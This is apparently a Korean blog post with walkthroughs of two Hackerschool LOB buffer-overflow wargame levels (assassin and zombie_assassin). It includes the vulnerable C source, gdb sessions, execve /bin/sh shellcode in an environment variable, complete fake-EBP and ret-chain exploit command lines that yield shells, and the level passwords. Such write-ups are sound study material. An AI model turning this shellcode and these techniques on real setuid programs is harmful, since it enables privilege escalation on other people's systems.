반응형
반응형
반응형


해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이


M4ndU




해커스쿨 LOB [assassin -> zombie_assassin] 풀이입니다.


ID | assassin

PW | pushing me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: assassin

Password:

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls -l

total 16

-rwsr-sr-x    1 zombie_a zombie_a    12144 Mar 30  2010 zombie_assassin

-rw-r--r--    1 root     root          557 Mar 30  2010 zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}



이번에는 argv[1]의 길이를 48바이트로 제한한다

그러면 ret주소까지만 덮을 수 있다.


주어진 힌트는 FEBP다. fack ebp를 의미한다.


leave-ret을 이용해서

ebp를 buffer의 시작주소로 조작해주고 ret주소를 leave의 주소로 조작해준다면,


leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)

leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)


에 의해 두번째 leave부터 우리가 조작한 ebp가 esp에 들어가게 되고,

pop ebp로 buffer의 4바이트 나가고 그다음 4바이트가 pop eip로 eip에 들어간다.


페이로드를 구성하면


dummy[4]+&shellcode[4]+dummy[32]+&buffer[4]+&leave[4]



그럼 쉘코드의 주소와 buffer의 주소와 leave의 주소를 구해주자.


쉘코드는 환경변수를 이용했습니다.


[assassin@localhost assassin]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[assassin@localhost assassin]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[assassin@localhost assassin]$ gcc getenv.c -o getenv

[assassin@localhost assassin]$ ./getenv

ADDR -> 0xbffffe83




buffer의 주소를 구해줍시다.


[assassin@localhost assassin]$ mkdir tmp

[assassin@localhost assassin]$ cp zombie_assassin tmp/

[assassin@localhost assassin]$ cd tmp/

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "D"*48'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core -q
Core was generated by `./zombie_assassin DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) x/20x $esp-80
0xbffffa30:     0x40106980      0x0804857e      0xbffffa50      0x401081ec
0xbffffa40:     0xbffffa78      0x080484dc      0x0804857e      0xbffffa50
0xbffffa50:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa60:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa70:     0x44444444      0x44444444      0x44444444      0x44444444


0xbffffa50부터 0x44로 채워져 있네요.



그 다음 leave의 주소를 구합니다.


[assassin@localhost assassin]$ gdb zombie_assassin -q

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

(생략)

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret


&shellcode | 0xbffffe83
&buffer | 0xbffffa50
&leave | 0x080484df


./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`



[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ id

uid=515(assassin) gid=515(assassin) groups=515(assassin)

bash$ exit

exit

[assassin@localhost tmp]$ cd ..

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

Segmentation fault



복사본에선 쉘이 뜨는데 원본에선 뜨지 않네요..


[assassin@localhost assassin]$ mkdir h

[assassin@localhost assassin]$ cp zombie_assassin h/

[assassin@localhost assassin]$ cd h/

[assassin@localhost h]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ exit

exit

[assassin@localhost h]$ cd ..6

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ my-pass

euid = 516

no place to hide



음....

계속 하다보니 됐습니다...

혀튼 성공했으니 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이


M4ndU




해커스쿨 LOB [giant -> assassin] 풀이입니다.


ID | giant

PW | one step closer

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: giant

Password:

[giant@localhost giant]$ bash2

[giant@localhost giant]$ ls -l

total 16

-rwsr-sr-x    1 assassin assassin    12222 Mar 30  2010 assassin

-rw-r--r--    1 root     root          587 Mar 30  2010 assassin.c

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}



no stack, no RTL 이고 sfp도 0으로 초기화 합니다.


ret가 하는 일이 pop eip, jmp eip인데


리턴 주소를 다시 ret명령어의 주소로 덮어준다면 main함수의 프롤로그가

leave

ret

ret

와 같아겠죠 그러면 pop eip가 한번 더 되면서, 기존 리턴주소가 있던 자리에서 다음 4바이트에 있는 주소로 eip가 조작될 수 있습니다.


그럼 페이로드를 구성해보면


dummy[44]+&ret+&shellcode



먼저 ret가 있는 주소를 구합니다.


[giant@localhost giant]$ gdb -q assassin

(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>:       push   %ebp

0x8048471 <main+1>:     mov    %esp,%ebp

(생략)

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop

End of assembler dump.



0x0804851e이네요.


이제 쉘코드의 주소를 구합니다.

쉘코드는 환경변수를 이용하겠습니다.


[giant@localhost giant]$ mkdir tmp

[giant@localhost giant]$ cd tmp/

[giant@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[giant@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[giant@localhost tmp]$ gcc getenv.c -o getenv

[giant@localhost tmp]$ ./getenv

ADDR -> 0xbffffe99



ret | 0x0804851e
shellcode | 0xbffffe99

./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`


[giant@localhost giant]$ ./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD숣?
bash$ my-pass
euid = 515
pushing me away



성공! 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ


반응형

+ Recent posts